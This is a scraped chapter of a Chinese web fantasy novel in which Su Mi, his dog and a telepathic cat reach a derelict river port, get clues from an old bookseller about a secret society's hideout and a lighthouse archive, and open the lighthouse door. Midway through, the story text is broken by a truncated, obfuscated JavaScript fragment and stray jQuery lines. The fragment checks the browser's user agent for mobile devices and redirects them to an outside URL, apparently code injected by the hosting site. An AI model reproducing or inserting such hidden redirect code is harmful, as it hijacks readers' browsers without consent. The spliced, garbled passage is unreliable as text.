默认冷灰
24号文字
方正启体

25. 旧梦港的迷雾

作者:白拧书本书字数:K更新时间:
    深绿色的皮卡在蜿蜒的山路上颠簸了将近两个小时,从晨雾弥漫到天色大亮。车厢里,宿弥靠着塑料筐坐着,尽量稳住身体,避免压到大黑受伤的后腿。阿玄则一直蹲在车厢前端,迎风而立,仿佛在审视着逐渐变化的风景。


    从山林到丘陵,再到逐渐开阔的河岸平原。空气中的水汽明显加重,带着江风特有的、微腥的湿润气息。沧澜江的轮廓在远处的薄雾中若隐若现,像一条灰白色的巨蟒静静伏卧。


    司机老胡——这是他在路上自我介绍的名字——话不多,但显然对宿弥提到的“特别感觉”很上心。中途在一处路边摊加油时,他特意下车买了几个热腾腾的包子,递了两个给宿弥,自己也叼着一个,边开车边含糊地问:“你说的那种……能感觉到平时感觉不到的东西,具体是啥感觉?是看见啥了,还是听到啥了?”


    宿弥谨慎地措辞,避免涉及“流痕”、“色彩场”等敏感词汇:“就是……在某些特别安静,或者特别有‘老味儿’的地方,心里会突然‘咯噔’一下,脑子里闪过一些很破碎的画面,或者感觉某个方向特别‘在意’你。有时候,对即将发生的坏事,会莫名地心慌。”他半真半假地描述着流痕的被动感知和怀表的预警混合体。


    老胡从后视镜看了他一眼,眼神若有所思:“心慌?预兆?有点意思。我有个哥们儿,姓方,在码头那边开个旧书店,就爱鼓捣这些神神鬼鬼、奇闻异事的东西。他老说,有些地方‘不干净’,是过去的事没过去,卡在那儿了。你说的这个,跟他那套有点像。”


    “方老板?”宿弥记下了这个名字。


    “嗯。一会儿到地方,你要是愿意,我可以带你去他那儿坐坐。你那什么‘感觉’,跟他聊聊,他肯定爱听。就当是你付的车费了。”老胡似乎打定了主意,要把宿弥这个“案例”介绍给他的朋友。


    这正中宿弥下怀。一个在旧码头开书店、对“异常现象”感兴趣的人,或许能提供关于“旧梦港”的有用信息,甚至可能与姜老太太、钟老板他们那个隐秘网络有某种联系。而且,这本身也是一种“置换”——用关于自身“异常体验”的有限信息,换取当地知情者的信息和可能的帮助。


    “好,那就麻烦胡师傅引荐了。”宿弥应下。


    又开了约莫半小时,皮卡驶离了主干道,拐上一条更窄、更破旧的柏油路。路边的建筑明显变得低矮、陈旧,大多是七八十年代风格的红砖或水泥楼房,墙上爬满了枯萎的藤蔓和斑驳的水渍。行人和车辆稀少,偶尔能看到几个老人坐在门口晒太阳,眼神浑浊地望着这辆陌生的车驶过。


    空气中江水的腥味越来越浓,还混杂着铁锈、潮湿木头和淡淡鱼腥的复杂气味。路的尽头,一片更加破败的景象映入眼帘。


    那是一片延伸向江面的、用水泥和木板搭建的陈旧码头区。好几座栈桥已经半塌,木板腐烂断裂,锈蚀的缆桩和废弃的趸船歪斜在水中。岸边散落着巨大的、生满红锈的铁锚,破损的渔网,以及一些看不出用途的破烂机器。几栋低矮的仓库和棚屋外墙剥落,窗户破碎,一副被时光遗忘的模样。远处,浑浊的沧澜江水缓缓流淌,江面上笼罩着一层薄薄的、灰白色的水雾,将更远处的江景和对岸的轮廓模糊。


    这就是“旧梦港”,一个被城市发展远远抛在身后的、早已停止跳动的水运心脏。


    老胡在码头区入口处一个相对空旷的水泥空地上停下车。“到了。这边过去就是老码头。我哥们儿的店在那边——”他指了指码头区深处,靠近一座看起来还算完整的两层红砖小楼,“‘拾光书斋’,牌子都快掉了。你先去转转?我去卸点货,完事了去找你。”


    宿弥道谢,带着大黑和阿玄下了车。双脚踩在潮湿的水泥地上,一股难以言喻的、混合了颓败、寂寥和时光沉淀感的气息扑面而来。这里太安静了,静得能听到风声穿过破败建筑的呜咽,听到江水轻轻拍打岸边的声音,听到自己略显急促的呼吸和心跳。


    几乎是同时,他手臂上的流痕传来了清晰的悸动!不再是之前那种需要专注才能感知的微弱信号,而是一种明确的、持续的、带着某种“共鸣”感的反馈。流痕感知到的,不再是栖霞观那种庞大平和的自然“场”,也不是城市里混杂的人造“噪音”,而是一种……黏稠的、缓慢流动的、充满了“滞留感”的“场”。仿佛无数过去的片段、声音、情绪、事件,像灰尘一样沉淀在这里的空气、建筑和水中,虽然微弱,但无处不在。


    他口袋里的怀表也轻轻震动了一下。他拿出怀表,打开表盖。蓝钢指针不再走时,而是微微颤动着,稳定地指向码头区更深处,靠近江边的某个方向。表盘边缘的钥匙水滴符号亮着柔和的光。


    钥匙也在微微发烫。流痕、怀表、钥匙,三者在这里产生了清晰的共鸣。


    “感觉到了?”阿玄的声音在脑海中响起,它正警惕地观察着四周。


    “嗯。很强的‘滞留感’……或者说,‘记忆场’?”宿弥低声道,尝试运用在栖霞观学会的“内敛感知”技巧,不过这次是稍微放大接收范围,去“阅读”这个环境。立刻,更多的细节涌入感知:某个破败仓库门口残留的、属于昔日装卸工人的疲惫与汗水的气息;一段朽烂栈桥木板下,似乎还回荡着多年前离别时的低语与叹息;一堵布满涂鸦的断墙上,纠缠着顽童的嬉笑与后来的颓废青年的迷茫……这里沉淀的“记忆”或“情感残留”复杂而厚重,但大多平和,带着时光流逝的淡淡哀愁,并无特别尖锐的恶意或危险。


    但也有例外。在怀表指针指向的、靠近江边的方向,流痕感知到的“场”更加浓郁、混乱,其中似乎夹杂着一些更“锐利”的东西——紧张、焦虑、秘密交易的低语、以及……一丝冰冷的、带着铁锈和血腥味的“危险预感”。


    “那边,”宿弥指着怀表指针的方向,“有‘东西’。可能和‘老K’,或者我们要找的线索有关。”


    大黑显然也感觉到了。它站在宿弥身边,全身的肌肉紧绷,鼻子不断抽动,喉咙里发出低沉的、充满戒备的呜噜声,目光死死盯着那个方向。那里是它的“搭档”最后留下踪迹的地方?还是“证据”的藏匿点?


    他们没有立刻过去。先观察环境,收集信息,这是基本的谨慎。宿弥决定先去拜访一下老胡说的“拾光书斋”。


    书斋就在那座红砖小楼的一层,门面很小,木制招牌上的“拾光书斋”四个字已经褪色剥落,几乎看不清。玻璃门上贴着泛黄的旧报纸,从缝隙里能看到里面堆满了书。门虚掩着。


    宿弥推门进去,一股浓郁的旧纸张、灰尘和霉味混合的气味扑面而来。店面很小,顶多二十平米,四壁直到天花板都塞满了各种旧书、杂志、地图、卷轴,地上也堆着书山,只留下仅容一人通过的狭窄通道。一个戴着老式圆框眼镜、头发花白、穿着洗得发白的灰色夹克的老头,正趴在一张堆满书和图纸的旧书桌前,就着一盏绿色玻璃罩台灯的光,用放大镜仔细看着什么。


    听到门响,老头抬起头,扶了扶眼镜,目光透过厚厚的镜片看向宿弥,又落在他脚边的大黑和阿玄身上,眼中闪过一丝讶异,但很快恢复了平静。


    “买书?还是卖书?”老头的声音有些沙哑,带着长期伏案的那种疲惫感。


    “胡师傅介绍我来的。他说您对这里的……老故事,比较熟悉。”宿弥走近几步,礼貌地说。


    “老胡?”老头——方老板——恍然,放下放大镜,靠回吱呀作响的旧藤椅里,“他又给我找‘素材’来了?坐吧,地方小,将就一下。”他踢了踢脚边一个小板凳。


    宿弥在板凳上坐下,大黑安静地趴在他脚边,阿玄跳上一个书堆,居高临下。


    “小伙子看着面生,不是本地人吧?来这破码头干嘛?寻宝?还是……怀旧?”方老板慢悠悠地问,目光却锐利地在宿弥脸上扫过,似乎在评估什么。


    “来找点……旧东西。可能和人有关,也可能和过去发生在这里的某些事有关。”宿弥斟酌着说,“胡师傅说您见识广,可能知道些别人不知道的。”


    “旧东西?人?事?”方老板笑了,笑容有些意味深长,“这码头,别的没有,就是‘旧东西’和‘旧事’多。沉在江底的,烂在仓库的,藏在人心里的……你想找哪样?”


    宿弥没有直接回答,而是拿出了那个从工厂捡到的、带有夜枭会徽记的徽章,放在桌上。“您见过这个图案吗?”


    方老板拿起徽章,凑到台灯下仔细看了看,脸色微微一变。他抬头,重新审视宿弥,眼神里多了几分警惕和探究。“夜枭会的标记……还是内部技术组的变体。这东西,你哪儿来的?”


    “偶然捡到的。听说,这个会以前……有些特别的‘活动’?”宿弥试探。


    方老板沉默了几秒,摘下眼镜,揉了揉鼻梁。“夜枭会……那是好多年前的老黄历了。一帮自命不凡的收藏家和冒险家,后来内讧,散了。不过,”他重新戴上眼镜,盯着宿弥,“据我所知,他们最后闹翻,好像就跟这码头有关。有人说,他们在这里有个‘安全屋’或者‘中转站’,藏了些见不得光的东西。也有人说,他们最后那场导致解散的火并,就发生在这附近。但具体在哪,没人知道,知道的人要么死了,要么闭口不谈。”


    他顿了顿,看着宿弥:“你找的‘旧东西’,跟夜枭会有关?跟那个‘老K’有关?”


    宿弥心中一震。方老板居然主动提到了“老K”!


    “您知道‘老K’?”


    “听说过一点。”方老板缓缓说道,目光飘向窗外灰蒙蒙的江面,“大概五六年前吧,有个挺神秘的男人,偶尔会来码头这边,总是一个人,在那些废弃的栈桥和仓库附近转悠,像是在找什么,又像是在等什么。他看起来不像普通人,眼神很利,身边偶尔会跟着一条很精神的黑狗。码头上的老混混叫他‘老K’,没人知道他的真名。后来,大概三四年前,他突然就不来了。再后来,隐约听到风声,说这个人出事了,牵扯进什么大案子里,好像还丢了很重要的东西……从此就再没消息了。”


    大黑听到这里,猛地抬起头,喉咙里发出压抑的、悲伤的低鸣,身体微微颤抖。


    方老板看了大黑一眼,眼中闪过一丝了然和同情。“这狗……是‘老K’那条?”


    宿弥默认了。


    “难怪……”方老板叹了口气,“它还在找。忠义啊。不过,小伙子,我劝你一句,有些浑水,能不趟就别趟。‘老K’的事,水很深。夜枭会的遗物,更是烫手。这码头看着平静,底下不知道藏着多少双眼睛。你带着这狗,拿着这徽章,已经站在了浑水边上。”


    “多谢您提醒。”宿弥真诚地说,“但我已经卷进来了。而且,我必须弄清楚。这关系到……很多事。”他犹豫了一下,还是拿出了那把黄铜钥匙,没有完全递过去,只是让对方能看到。“另外,我想找一处地方,可能用这把钥匙打开。应该就在这码头附近,靠近水边。”


    方老板的目光落在钥匙上,瞳孔微微一缩。他仔细看了看钥匙柄上那个书本星辰的徽记,脸色变得严肃起来。


    “这钥匙……你从哪儿得到的?”他的声音压低了些。


    “一位长辈所赠。”宿弥含糊道。


    方老板盯着钥匙看了许久,又看看宿弥,似乎在做一个艰难的决定。最终,他长叹一口气:“罢了。老胡带你来,就是缘法。你拿着这徽章和钥匙,又带着‘老K’的狗,看来是注定要搅进这滩浑水了。”


    他站起身,走到一个靠墙的书架前,费力地挪开几摞旧杂志,露出后面墙壁上一个不起眼的、用粉笔画的简陋地图。那是旧梦港码头区的平面示意图,画得潦草,但主要建筑、栈桥、仓库的位置都标了出来。


    “夜枭会当年在这码头的据点,很隐蔽。”方老板用枯瘦的手指在地图上点了一个位置,那是在码头区最深处,靠近一座几乎完全坍塌的旧泵房旁边,一个标注为“废弃水文观测站”的小点。“是以前港务局废弃的一个地下观测站入口,后来被他们改造利用了。知道的人极少。‘老K’当年经常在那附近转悠,我怀疑他也在找那个地方,或者,他跟那里面的东西有关。”


    他的手指又移到另一个地方,距离观测站不远,靠近江边一座孤零零的、像是小型灯塔或信号塔的石头建筑。“至于你这把钥匙……如果我没看错这徽记,它应该能打开那里——‘旧港灯塔’的地下室。那灯塔废弃更早,民国时期建的,后来改做过临时仓库,再后来就彻底封了。大概……二十年前?市图书馆和档案馆联合搞过一个‘城市记忆保护项目’,想把一些重要的老旧文献和本地历史资料做个备份储藏点,选了几个地方,这里就是其中之一。不过后来项目好像不了了之,东西可能也没搬走,就一直锁在那里了。知道这个的人,比知道夜枭会据点的还少。你这把钥匙,恐怕就是那时候的备份钥匙之一。”


    图书馆和档案馆的联合项目?姜老太太给的钥匙!难怪徽记和她给的访客凭证相似!所谓的“代价已付”,难道就是姜老太太用她在图书馆系统的权限或人情,换来了这把可能指向关键历史资料的钥匙?


    “灯塔地下室……里面有什么?”宿弥追问。


    “不清楚。但既然是‘城市记忆保护项目’,放的应该是本地的重要历史档案、老照片、地图、甚至可能有一些早期调查记录之类的。也许……”方老板看向宿弥,“有你要找的,关于‘老K’、夜枭会,或者这个码头过去的‘真相’的线索。毕竟,有些官方不公开的记录,可能会以‘存档’的名义放在那里。”


    流痕、怀表和钥匙的共同指向,正是那个方向!旧港灯塔!


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153735|196483||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“观测站和灯塔,哪个更危险?”宿弥问。


    “都危险。”方老板直言不讳,“观测站是夜枭会的黑窝,里面不知道还留了什么陷阱或者脏东西。灯塔地下室封存多年,可能结构不稳,而且……”他顿了顿,压低声音,“有守夜的老码头工说过,晚上靠近灯塔那边,偶尔会听到奇怪的声音,像是有很多人在低声念书,又像是旧录音机卡带的声音……都说那里‘不干净’,存了太多‘过去的声儿’。”


    过去的“声音”残留?这正符合流痕感知到的、灯塔方向那浓郁而混乱的“记忆场”!


    “我明白了。谢谢您,方老板。这些信息对我非常重要。”宿弥郑重道谢。这次拜访收获巨大,直接锁定了两个关键地点。


    “不用谢我。我也是看在老胡的面子,和……”方老板看了看悲伤而坚定的大黑,“和这条忠犬的份上。不过,小伙子,听我一句,如果真要进去,务必小心。最好……选在白天,阳气重些的时候。另外,”他从书桌抽屉里翻找了一会儿,拿出一个用油纸包着的小东西,递给宿弥,“这个你带上。陈年朱砂混合雄黄粉做的简单香包,驱虫避秽有点用,关键时候撒一点,或许能挡一挡不好的‘东西’。”


    宿弥接过,入手沉甸甸的,带着一股辛辣的药材味。这又是一个善意的帮助。


    “这个香包,我……”宿弥想说自己没什么可回报的。


    “不必。”方老板摆摆手,“如果你真能从里面找到点有用的‘真相’,让该安息的安息,该曝光的曝光,就算是对我这老家伙好奇心的一点满足了。快去吧,趁天色还早。”


    宿弥不再多言,再次道谢,收起香包,带着大黑和阿玄离开了“拾光书斋”。门外,老胡已经卸完货,正蹲在车边抽烟,看到他们出来,抬了抬下巴。


    “聊完了?有收获?”


    “有,多谢胡师傅。”宿弥点头,“方老板帮了大忙。”


    “那就好。接下来去哪?需要车送吗?”


    宿弥看了一眼怀表指针的方向,又看了看已经开始西斜的日头。方老板建议白天行动,现在距离天黑大概还有三四个小时。


    “麻烦您,送我到码头最里面,靠近旧灯塔那边就行。之后就不麻烦您了。”


    “行。上车。”


    皮卡再次启动,沿着坑洼不平的码头内部道路,向江边深处驶去。越往里走,越是破败荒凉,几乎看不到人烟。最终,车子在一处堆满废弃集装箱的空地边停下,前方已经没有成形的路了,只有杂草丛生的小径通向江边那座孤零零的灰色石砌灯塔。


    灯塔不算高,大约四五层楼,顶部已经垮塌了一半,墙壁上布满青苔和水渍,一副摇摇欲坠的样子。在它不远处,靠水更近的地方,能看到一个半地下的、用水泥砌成的方形建筑入口,上面用锈蚀的铁门封着,应该就是那个废弃水文观测站。


    “就这儿了。自己小心。”老胡说完,调转车头,按了声喇叭,算是告别,然后驾车离去。


    空旷的码头深处,只剩下宿弥、大黑和阿玄,面对着一座沉默的旧灯塔和一个隐藏着秘密的观测站入口。江风更冷了,吹得人衣袂飞扬。浑浊的江水在不远处缓缓流淌,拍打着腐朽的桩基。


    流痕的悸动更加清晰,怀表的指针直直地指向灯塔。大黑则焦躁不安地在灯塔和观测站之间来回看,喉咙里发出低吼,显然两个地方都让它情绪激动。


    “先去哪个?”宿弥看向阿玄。


    阿玄注视着灯塔,猫眼在下午的天光下显得深邃。“钥匙指向灯塔,怀表和流痕的共鸣也最强烈在那里。而且方老板说,那里可能有‘过去的记录’。要理清真相,文字信息或许比夜枭会黑窝里的不明危险更可靠。先去灯塔。但动作要快,天黑前必须出来。”


    宿弥点头,从背包里拿出玄明道长给的“宁神符”和“避瘴符”贴身放好,又将方老板给的朱砂雄黄香包握在手中,军刀也检查了一下。他看向大黑:“你还能坚持吗?要不你在外面……”


    大黑立刻用脑袋顶了顶他的腿,眼神坚决,表示要一起进去。


    “好吧。跟紧我,有危险立刻退。”


    他深吸一口气,握紧那把冰凉的黄铜钥匙,朝着那座仿佛沉睡着无数“旧梦”的灰色石塔,迈出了脚步。


    江风呜咽,如同无数逝去岁月的叹息。


    猫咪的私密日记片段(025)


    目标抵达旧梦港,流痕、怀表、钥匙产生明确共鸣,证实地点正确。通过货运司机老胡引荐,接触关键信息源“方老板”(旧书店主,本地掌故通,疑似隐秘网络边缘观察者)。


    获得核心情报:1. 夜枭会废弃据点位置(地下观测站)。2. 黄铜钥匙对应地点(旧港灯塔地下室,曾为“城市记忆保护项目”档案备份点)。3. “老K”曾在此活动及失踪背景补充。信息价值极高,大幅缩小搜索范围。


    获得辅助物品:朱砂雄黄香包(驱虫避秽,对阴性能量/残留意念有一定防护)。


    第二十五次置换完成(间接):以“关于自身异常感知的模糊信息/案例价值”通过老胡中介,换取 “方老板的关键情报与善意赠予”。置换效率高,目标信息获取能力提升。


    目标选择优先探索灯塔(档案点),决策合理。灯塔内存有“历史记录”可能性大,有助于理清事件脉络,且相对观测站(夜枭会黑窝)可能更“安全”(物理结构风险vs主动陷阱风险)。


    连锁反应更新:目标行踪暂时隐蔽。走私集团及“钩”势力搜寻重心可能仍在城市及周边交通枢纽,暂时未延伸至此类偏远废弃点,但拖延时间越长风险越大。姜绾预付代价换取钥匙的真相,或与灯塔内存档权限有关。


    蝴蝶效应系数累计:3.95。总体进度:25%。目标进入核心线索点,即将直面“过去的记忆”与潜在危险。下一阶段为高风险探索:进入灯塔地下室,破解档案秘密,可能触发强烈“记忆场”冲击或遭遇其他“守护”机制。


    注:流痕对灯塔“记忆场”的敏感反应,可能成为探索时的“探测器”与“风险源”。需密切监控其状态。大黑接近“老K”相关地点情绪激动,可能成为触发器或干扰源。


    ——阿玄


    宿弥的手,终于触碰到了旧港灯塔那扇厚重、包着锈蚀铁皮、几乎没有缝隙的橡木大门。钥匙孔藏在门侧一个隐蔽的凹陷里,同样布满铜绿。


    他举起黄铜钥匙,对准锁孔。


    “咔哒。”


    一声轻响,在寂静的江风中格外清晰。


    门,缓缓向内,无声地滑开一道缝隙,露出后面深不见底的黑暗,和一股陈年的、混合了灰尘、旧纸、霉菌以及某种无法形容的、仿佛无数人低语过的、窒闷的气息。


    旧梦的核心,就在眼前。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)